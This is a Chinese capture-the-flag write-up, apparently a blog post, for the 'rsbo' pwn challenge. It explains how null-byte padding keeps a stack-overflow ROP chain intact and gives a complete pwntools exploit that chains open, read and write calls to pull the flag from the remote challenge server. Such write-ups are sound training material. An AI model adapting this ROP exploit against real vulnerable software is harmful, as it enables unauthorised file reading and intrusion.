rsbo

保护
main函数

有个栈溢出可以rop,但是下面的for循环会破坏rop链,然后看了下charlie师傅的wp才知道,这里发送108个\x00,当修改到v8的值的时候,修改为0,然后就跳出for循环了,不会影响后面的rop。然后就利用open,read,write函数rop就行了。注意fd = 0时代表标准输入stdin,1时代表标准输出stdout,2时代表标准错误stderr,3~9则代表打开的文件

完整exp:

from pwn import *
#context.log_level = 'debug'

#p = process('./rsbo',env = {"LD_PRELOAD":"../libc-2.23.so.i386"})
p = remote('hackme.inndy.tw',7706)
elf = ELF('./rsbo')

write_plt = elf.plt['write']
open_plt = elf.plt['open']
read_plt = elf.plt['read']
start_addr = elf.symbols["_start"]
flag_addr = 0x080487D0
bss_addr = elf.bss()

#open('/home/ctf/flag',0)
payload = '\x00'*108 + p32(open_plt)
payload += p32(start_addr) + p32(flag_addr) + p32(0)
p.send(payload)

#read(3,bss,0x60)
payload = '\x00'*108 + p32(read_plt)
payload += p32(start_addr) + p32(3) + p32(bss_addr) + p32(0x60)
p.send(payload)

#write(1,bss,0x60)
payload = '\x00'*108 + p32(write_plt) + 'aaaa'
payload += p32(1) + p32(bss_addr) + p32(0x60)
p.send(payload)

flag = p.recvuntil('}')
print flag

p.close()
#p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 这两道题的文件是一样的,不过一个没要求getshell,一个要求getshll 先说rsdo防护机制 它先执行in...
    zs0zrc阅读 505评论 0 0
  • 大纲 一.Socket简介 二.BSD Socket编程准备 1.地址 2.端口 3.网络字节序 4.半相关与全相...
    VD2012阅读 2,463评论 0 5
  • 为何叫做 shell ? shell prompt(PS1) 与 Carriage Return(CR) 的关系?...
    Zero___阅读 3,193评论 3 49
  • 菜鸟教程shell在线编辑器大目录整理: 1.第一个 Shell 脚本尝试 2.Shell 变量 3.Shell ...
    中酷男阅读 5,924评论 0 12
  • https://nodejs.org/api/documentation.html 工具模块 Assert 测试 ...
    KeKeMars阅读 6,453评论 0 6